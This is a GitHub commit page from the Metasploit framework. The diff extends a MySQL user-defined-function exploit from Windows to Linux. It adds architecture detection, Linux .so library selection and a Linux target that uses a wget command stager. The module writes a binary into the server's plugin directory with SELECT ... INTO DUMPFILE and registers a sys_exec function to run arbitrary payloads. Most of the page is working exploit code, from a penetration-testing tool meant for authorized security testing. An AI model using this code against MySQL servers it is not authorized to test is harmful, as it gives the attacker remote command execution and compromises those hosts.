Skip to content

Commit 697031e

Browse files
committed
mysql UDF now multi
1 parent 60a7a80 commit 697031e

File tree

5 files changed

+32
-10
lines changed

5 files changed

+32
-10
lines changed
5.56 KB
Binary file not shown.
7.85 KB
Binary file not shown.
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
on ubuntu, edit /lib/systemd/system/mysql.service

lib/msf/core/exploit/mysql.rb

Lines changed: 24 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -144,21 +144,32 @@ def mysql_upload_binary(bindata)
144144
binname = Rex::Text.rand_text_alpha(8)
145145
binpath = tmpdir << binname
146146
print_status "Uploading binary as #{binpath}..."
147+
print_status "SELECT #{blob} into DUMPFILE '#{binpath}'"
147148
res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'")
148149
return res
149150
end
150151

151152
def mysql_upload_sys_udf(arch=:win32,target_path=nil)
152-
fname = (arch == :win32 ? "lib_mysqludf_sys_32.dll" : "lib_mysqludf_sys_64.dll")
153+
case arch
154+
when :win32
155+
fname = 'lib_mysqludf_sys_32.dll'
156+
when :win64
157+
fname = 'lib_mysqludf_sys_64.dll'
158+
when :linux32
159+
fname = 'lib_mysqludf_sys_32.so'
160+
when :linux64
161+
fname = 'lib_mysqludf_sys_64.so'
162+
end
153163
sys_dll = File.join( Msf::Config.data_directory, "exploits", "mysql", fname )
154164
data = File.open(sys_dll, "rb") {|f| f.read f.stat.size}
155165
blob = "0x"
156166
blob << data.unpack("C*").map {|x| "%02x" % [x]}.join
157167
dll_name = Rex::Text.rand_text_alpha(8)
158-
target_dll = target_path << dll_name << ".dll"
168+
[:win32, :win64].include?(arch) ? extension = '.dll' : extension = '.so'
169+
target_dll = target_path << dll_name << extension
159170
print_status "Uploading #{fname} library to #{target_dll}..."
160171
mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'")
161-
return dll_name << ".dll"
172+
return dll_name << extension
162173
end
163174

164175
def mysql_drop_and_create_sys_exec(soname)
@@ -181,6 +192,15 @@ def mysql_get_arch
181192
:win64
182193
when /Win32/i
183194
:win32
195+
when /Linux/i
196+
# we need a second query to determine bits
197+
res = mysql_get_variable("@@version_compile_machine")
198+
return :unknown unless res
199+
if res =~ /x86_64/i
200+
:linux64
201+
else
202+
:linux32
203+
end
184204
else
185205
res
186206
end
@@ -189,7 +209,7 @@ def mysql_get_arch
189209
def mysql_add_sys_exec
190210
arch = mysql_get_arch
191211
case arch
192-
when :win64,:win32
212+
when :win64,:win32,:linux64,:linux32
193213
target_path = mysql_get_plugin_dir
194214
if target_path
195215
print_status "Target arch (#{arch}) and target path both okay."

modules/exploits/windows/mysql/mysql_payload.rb renamed to modules/exploits/multi/mysql/mysql_udf_payload.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ def initialize(info = {})
1313
super(
1414
update_info(
1515
info,
16-
'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution',
16+
'Name' => 'Oracle MySQL UDF Payload Execution',
1717
'Description' => %q{
1818
This module creates and enables a custom UDF (user defined function) on the
1919
target host via the SELECT ... into DUMPFILE method of binary injection. On
@@ -27,20 +27,21 @@ def initialize(info = {})
2727
'Author' =>
2828
[
2929
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries
30-
'todb' # this Metasploit module
30+
'todb', # this Metasploit module
31+
'h00die' # linux addition
3132
],
3233
'License' => MSF_LICENSE,
3334
'References' =>
3435
[
3536
# Bernardo's work with cmd exec via udf
3637
[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ]
3738
],
38-
'Platform' => 'win',
39+
'Platform' => ['win', 'linux'],
3940
'Targets' =>
4041
[
41-
[ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
42+
[ 'Windows', {'CmdStagerFlavor' => 'vbs'} ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
43+
[ 'Linux', {'CmdStagerFlavor' => 'wget' } ]
4244
],
43-
'CmdStagerFlavor' => 'vbs',
4445
'DefaultTarget' => 0,
4546
'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
4647
))
@@ -83,7 +84,7 @@ def exploit
8384

8485
if not m
8586
return
86-
elsif not [:win32,:win64].include?(@mysql_arch)
87+
elsif not [:win32,:win64,:linux64,:linux32].include?(@mysql_arch)
8788
print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'")
8889
return
8990
else

0 commit comments

Comments
 (0)